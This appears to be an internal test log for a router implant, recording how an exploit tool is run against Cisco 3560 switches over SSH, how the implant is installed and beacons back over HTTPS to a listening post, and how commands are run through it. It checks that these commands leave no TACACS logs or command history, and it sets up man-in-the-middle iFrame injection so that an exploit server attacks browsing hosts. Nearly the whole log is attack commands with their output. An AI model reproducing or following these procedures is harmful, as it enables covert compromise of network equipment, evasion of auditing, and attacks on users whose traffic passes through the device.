Owner: User #1179928

JQJSlasher - Ops Testing

Cisco - 3560   IP:192.168.200.10

ICON-CT: 172.20.12.29 / Seeds Host 192.168.32.10 - VLAN32

Testing to focus on the following capabilities:

1. Install
2. Trigger
3. Shell access
4. MITM iFrame injectionSmoke Test Install / Functionality test 

1. Install HG (no AAASecurity Server from Cisco) / Set up basic comms with implant
2. Un-tar delivery to ICON: /home/user1/slasher-2h_20150725/bin/ops/slasher-2h/
3. Change ../slasher-2h/remote/data/config/npc3/target.py interPacketTime to 0.1 seconds
4. nano ../ops/slash/slasher-2h/hg/slasher-2h.txt 
   1. Change Interface = eth0
   2. Change Trigger address = 192.168.32.10 (Seeds host)
5. Attack w/ SSHIAC from ICON: ./sshiac --ip 192.168.200.10:22 --l cisco:cisco password

   1. LG
      EC -125
      DH
      EC -60

      EC -159
      M

6. #cd ../../remote/
   1. source aliaeses
   2. remote>broad
   3. ./seq set 1
   4. remote>broad = GOOD - status OK
   5. nano target-aliases
      1. Change target ip = 192.168.200.10
      2. ProcID = 0x10423185
   6. Ran: ../slasher-2h/hg# ./prep-ct.sh
      1. = "File copy complete. CutThroat is ready for use."
   7. remote>hg_start
      1. = done, GOOD - status OK
      2. Result: 0xfffffffb (on 3560-24 #1 - stopped testing and tried 2nd switch from step 5)
      3. Result: 0x00000001 (on 2nd 3560-24)
   8. Make listen window:
      1. ./cutthroat ilm_hg.so
      2. ilm listen slasher-2h.txt
   9. Make trigger window:
      1. ./cutthroat ilm_hg.so
      2. ilm trigger slasher-2h.txt
      3. beacon call_base_back https 172.20.12.29 443
         1. SSL Handshake completes in listen window
7. Test basic functionality of initial install
   1. In listen window> modeule show
      1. = All modules running after initial install
      2. = All commands tab out
8. Test HG Install with AAASecurity Server from Cisco configured similar to target device
   1. Configure 3560 with AAASecurity Server from Cisco settings from target config
   2. Save config and reload 3560 target to start with a clean switch
   3. Test ssh to confirm AAASecurity Server from Cisco works natively:
      1. ssh -l root 192.168.200.10
         1. password: password
         2. >en = password
         3. = successful login
   4. Attack with SSHIAC
      1. ./sshiac --ip 192.168.200.10:22 --l root:password password

         1. LG
            EC -122
            E gs failed
            E

      2. ./sshiac -c  --ignor --ip 192.168.200.10:22 --l root:password password

         1. BUILD NUMBER: SSH-415-P

            username: larry
            password: password
            enable: password
            IP: 192.168.200.10:22
            ignore logging

            press ENTER to continue or Ctrl-c to stop

            LG
            EC -122
            E gs failed
            E

      3.  ./sshiac -v -d --forceenable --confirm --ignorelog --ip 192.168.200.10:22 --l root:password password

BUILD NUMBER: SSH-415-P

username: root
password: password
enable: password
IP: 192.168.200.10:22
verbose
debug
force enable mode
ignore logging

press ENTER to continue or Ctrl-c to stop

L
3560-target>
3560-target>
3560-target>en
Password:
3560-target#term len 0x0
3560-target#term width 0
3560-target#show proc | i Virtual Exec|SSH
89 M* 0 378 171 2210 9728/12000 1 SSHSecure Shell Process
270 Mwe 12EAAE4 25 36 694 5040/6000 0 SSHSecure Shell Event handle
3560-target#
3560-target>
3560-target>
3560-target>en
Password:
3560-target#show region
Command authorization failed.

3560-target#term len 0
3560-target#show proc | i Virtual Exec|SSH
89 ME 2462A4 496 172 2883 9728/12000 1 SSHSecure Shell Process
266 M* 0 370 169 2189 9724/12000 2 SSHSecure Shell Process
270 Mwe 12EAAE4 25 36 694 5040/6000 0 SSHSecure Shell Event handle
3560-target#Gshow users | i \*
* 2 vty 1 root idle 00:00:00 172.20.12.29
3560-target#show ver | i IOS\ |BOOTLDR:
Cisco IOSApple operating system for small devices Software, C3560 Software (C3560-ADVIPSERVICESK9-M), Version 12.2(37)SE, RELEASE SOFTWARE (fc2)
BOOTLDR: C3560 Boot Loader (C3560-HBOOT-M) Version 12.2(44)SE5, RELEASE SOFTWARE (fc1)
3560-target#show stacks 266
Command authorization failed.

3560-target#
EC -122
E gs failed
exitexit
E

**********************************************************************

Thursday 8/6/15 - User #77412 Testing

*Unsure where exactly where User #? left off, reloaded the 3560, attempted to re-attack

1. SSHIAC attack  
   1. Result w/no flags:

      ttack/linux$ ls sshiac user1@slasher-icon:~/slasher-2h_20150725/bin/ops/slasher/slasher-2h/attack/linux$ ./sshiac --ip 192.168.200.10:22 -l cisco:cisco password L ECEdgeCase -76

      EC -129 E user1@slasher-icon:~/slasher-2h_20150725/bin/ops/slasher/slasher-2h/attack/linux$

   2. Result with flags:

      user1@slasher-icon:~/slasher-2h_20150725/bin/ops/slasher/slasher-2h/attack/linux$ ./sshiac -v -d --forceenable --confirm --ignorelog --ip 192.168.200.10:22 -l cisco:cisco password BUILD NUMBER: SSH-415-P

       username: cisco  password: cisco  enable:   password  IP:  192.168.200.10:22  verbose  debug  force enable mode  ignore logging

      press ENTER to continue or Ctrl-c to stop

      L ECEdgeCase -76

      EC -129 E

   3. Result when not being stupid and using the right username / password:

      root@slasher-icon:/home/user1/slasher-2h_20150725/bin/ops/slasher/slasher-2h/attack/linux# ./sshiac -v -d --forceenable --ignorelog --ip 192.168.200.10:22 --l root:password password BUILD NUMBER: SSH-415-P

       username: root  password: password  enable:   password  IP:  192.168.200.10:22  verbose  debug  force enable mode  ignore logging

      press ENTER to continue or Ctrl-c to stop

      EC -60

      EC -159 exit M

2. Successfully used Remote to install HG:  

   1.  Set sequence number and broad: [target:192.168.200.10] remote> ./seq set 1 608 -> 1 [target:192.168.200.10] remote> broad 

      1. GOOD - status OK. OP: BROADCAST Target NEXT -->2<-- IACInternational Access Code Software Version 41.5 (Arch: PPCPowerPC (IBM))   Target Software (C3560-ADVIPSERVICESK9-M), Version 12.2(37)SE

                                Proc ID: 0x10423191                  Next Sequence: 0x2

   2.  [target:192.168.200.10] remote> hg_start

      1. GOOD - status OK. OP: RUNCODE using Per Second     Code address: 0x03287d98     No data     Result: 0x00000001

3. NOTE - Recreated User #?'s steps 6-8 from above, no need to list it all out
4.  

************************************************************************************

Friday 8/7/15

Installed 3560-48port in place of 24-port target switch above. Loaded 12.2(37) SE IOSApple operating system for small devices on it and copied over previous config.

1. Attacked 3560-48TS-S without AAASecurity Server from Cisco configured on switch successfully ./sshiac -v -d --confirm --forceenable --ignorlog --ip 192.168.200.10:22 --l cisco:cisco password 
   1. = all modules up and running after installing HG and getting comms.
   2. reloaded switch to remove HG
2. Configured AAASecurity Server from Cisco on target 3560-48TS-S switch just as the target config is configured.
   1. Tried several syntaxes of ./sshiac, however, the only one that worked was as follows:
      1. ./sshiac -c --ignor --ip 192.168.200.10:22 root:password password

         1. BUILD NUMBER: SSH-415-P

            username: root
            password: password
            enable: password
            IP: 192.168.200.10:22
            ignore logging

            press ENTER to continue or Ctrl-c to stop

            LG
            EC -125
            DH
            EC -60

            EC -159
            M

      2. cd ../../remote/
      3. Prior to HG install, target CPU= 60s - 5% w/ 35% spike, 60min - 5% w/ 35% spike, 72hrs - 35% average with 70% spikes
         1. source aliaeses
         2. remote>broad
         3. ./seq set 1
         4. remote>broad = GOOD - status OK
         5. nano target-aliases
            1. Change target ip = 192.168.200.10
            2. ProcID = 0x13022407
         6. >hg_start, CPU = 60s - 21% spike
         7. Show Memory on target:

            1.                   Head              Total(b)      Used(b)     Free(b)       Lowest(b)   Largest(b)
               Processor  20BE480        91495296  20857396   70637900  69931132   69881184
               I/O             7800000         8380416    3587852    4792564     4711952     4791152
               Driver te    1400000         1048576    44              1048532     1048532     1048532

         8. No additional logs, No additional commands in "show history", No logs on TACACS+ for "root"
      4. In listen window on ICON> ./cutthroat ilm_hg.so
         1. ilm listen slasher-2h.txt    = Listening for clients on port 443
      5. In trigger window on ICON> ./cutthroat ilm_hg.so
         1. ilm trigger slasher-2h.txt
         2. >beacon call_base_back https 172.20.12.29 443
         3. Listen window does SSLSecure Socket Layer handshake to establish comms
      6. In Listen window - >module show = all modules running 
      7. HG Listen> modeule start FilterBroker.mod
         1. modeule show = FilterBroker running
      8. HG Listen> module start default:ACEMod.mod
         1. module show = ACEApplication Control Engine (Module) running
3. Run series of ACEApplication Control Engine (Module) exec (shell) commands from HG listen window
   1. HG Listen> cmd exec "show run"
   2. HG Listen> cmd exec "sh config"
   3. HG Listen> cmd exec "sh vlan"
   4. HG Listen> cmd exec "sh user"
   5. HG Listen> cmd exec "dir flash"
   6. HG Listen> cmd exec "sh clock"
   7. Enter a native command that requires a series of commands:
   8. HG Listen> cmd exec "sh ip int br"
   9. HG Listen> cmd exec "sh configuration id"
   10. HG Listen> cmd exec "sh dhcp server"
   11. HG Listen> cmd exec "sh int switch"
   12. HG Listen> cmd exec "sh int counters"
   13. HG Listen> cmd exec "sh int counters errors"
   14. HG Listen> cmd exec "sh int accounting"
   15. HG Listen> cmd exec "sh int irb"
   16. HG Listen> cmd exec "sh int mtu module 1"
   17. HG Listen> cmd exec "traceroute 1.1.1.1"  = success, with traceroute output
   18. HG Listen> cmd exec "ping 1.1.1.1" = success with round trip statistics
   19. HG Listen> cmd exec "traceroute 3.3.3.3" = successful in that output shows to a destination that cannot be reached
   20. HG Listen> cmd exec "ping 3.3.3.3" = successful in that out put of 0 replies is received
   21. Execute invalid commands and verify they fail gracefully:
   22. HG Listen> cmd exec "show test"
   23. HG Listen> cmd exec "sh home"
   24. HG Listen> cmd exec "traceroute 3.3.3.3"
   25. ssh back to target 3560 and confirm that Tacacs logs the connection. Run "sh history" and verify no commands executed via HG show.
       
       
4. SMITE iFrame injection

1. 1. Did not test module persistence
   2. HT Listen> mitm create http_iframe 192.168.21.10 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk
   3. >mitm show = confirms rule is active
   4. Clear browsing history on target host
   5. Browse to X.X.X.XX (LVLT-GOGL-8-8-8[US]) --> receive normal web page
   6. Iframe is injected into web page, viewed in source URL
   7. Windex server attempts to exploit SEEDS host
   8. Cleared browsing cache on SEEDS host, reloaded page
   9. iFrame is injected again into web page, vewed in source URL
   10. >mitm delete 1  = removed mitm rule
       1. >mitm show  = no rules found
       2. Clear cache on SEEDS host, reload page  =  no/no iFrame injection

   11. mitm create http_iframe 192.168.32.10 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -ac 3 -en -bc -bk (Creates 3 iFrame injections)

       1. Clear browser cache and reload target browser = iFrame injection

          1. Clear browser cache and reload target browser = iFrame injection
       2. Clear browser cache and reload target browser = no/no iFrame injection as expected
       3. >mitm delete 2  =  rule is removed